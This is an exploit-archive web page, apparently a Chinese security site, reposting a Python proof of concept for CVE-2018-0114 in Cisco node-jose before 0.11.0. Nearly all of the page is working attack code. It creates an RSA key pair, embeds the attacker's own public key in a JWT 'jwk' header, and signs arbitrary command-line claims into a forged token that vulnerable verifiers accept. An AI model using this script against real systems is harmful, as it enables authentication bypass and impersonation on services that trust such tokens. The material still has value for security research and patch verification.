首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco node-jos < 0.11.0 - Re-sign Tokens
来源:https://zioblack.xyz 作者:zioBlack 发布时间:2018-03-22  
import base64
import urllib
import rsa
import sys
 
#zi0Black
 
'''
POC of CVE-2018-0114 Cisco node-jose <0.11.0
 
Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram)
 
Mail: a.cappa@zioblack.xyz
Site: https://zioblack.xyz
 
A special thanks to Louis Nyffenegger, the founder of PentesterLab, for all the help he provided to allow me to write this script.
 
Mail: louis@pentesterlab.com
Site: https://pentesterlab.com
 
'''
 
def generate_key (key_size):
    #create rsa priv & public key
    print ("[+]Creating-RSA-pair-key")
    (public_key,private_key)=rsa.newkeys(key_size,poolsize=8)
    print ("\t[+]Pair-key-created")
    return private_key, public_key
 
def to_bytes(n, length, endianess='big'):
    h = '%x' % n
    s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
    return s if endianess == 'big' else s[::-1]
 
def generate_header_payload(payload,pubkey):
    #create header and payload
    print ("[+]Assembling-the-header-and-the-payload")
    xn = pubkey.n
    xe = pubkey.e
    n=base64.urlsafe_b64encode(to_bytes(xn,sys.getsizeof(xn),'big'))
    e=base64.urlsafe_b64encode(to_bytes(xe,sys.getsizeof(xe),'big'))
    headerAndPayload = base64.b64encode('{"alg":"RS256",'
                                        '"jwk":{"kty":"RSA",'
                                        '"kid":"topo.gigio@hackerzzzz.own",'
                                        '"use":"sig",'
                                        '"n":"'+n+'",'
                                        '"e":"'+e+'"}}')
    headerAndPayload=headerAndPayload+"."+base64.b64encode(payload)
    headerAndPayload = headerAndPayload.encode('utf-8').replace("=","")
    print ("\t[+]Assembed")
    return headerAndPayload
 
def generate_signature (firstpart,privkey):
    #create signature
    signature = rsa.sign(firstpart,privkey,'SHA-256')
    signatureEnc = base64.b64encode(signature).encode('utf-8').replace("=", "")
    print ("[+]Signature-created")
    return signatureEnc
 
def create_token(headerAndPayload,sign):
    print ("[+]Forging-of-the-token\n\n")
    token = headerAndPayload+"."+sign
    token = urllib.quote_plus(token)
    return token
 
 
if(len(sys.argv)>0):
    payload = str(sys.argv[1])
    key_size = sys.argv[2]
else:
    payload = 'somthings'
 
banner="""
   _____  __      __  ______            ___     ___    __    ___              ___    __   __   _  _  
  / ____| \ \    / / |  ____|          |__ \   / _ \  /_ |  / _ \            / _ \  /_ | /_ | | || |                   
 | |       \ \  / /  | |__     ______     ) | | | | |  | | | (_) |  ______  | | | |  | |  | | | || |_
 | |        \ \/ /   |  __|   |______|   / /  | | | |  | |  > _ <  |______| | | | |  | |  | | |__   _|
 | |____     \  /    | |____            / /_  | |_| |  | | | (_) |          | |_| |  | |  | |    | | 
  \_____|     \/     |______|          |____|  \___/   |_|  \___/            \___/   |_|  |_|    |_|    by @zi0Black   
"""
 
if __name__ == '__main__':
    print (banner)
    (privatekey,publickey) = generate_key(key_size)
    firstPart = generate_header_payload(payload,publickey)
    signature = generate_signature(firstPart,privatekey)
    token = create_token(firstPart,signature)
    print(token)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Intelbras Telefone IP TIP200 L
·Linux Kernel < 4.15.4 - 'show_
·Kamailio 5.1.1 / 5.1.0 / 5.0.0
·Kaseya Virtual System Administ
·Microsoft Windows - Desktop Br
·ModSecurity For Nginx Use-Afte
·Internet Explorer - 'RegExp.la
·Android Bluetooth - BNEP bnep_
·Microsoft Windows Kernel - 'nt
·Android Bluetooth - BNEP BNEP_
·Microsoft Windows Kernel - 'nt
·Hikvision IP Camera versions 5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved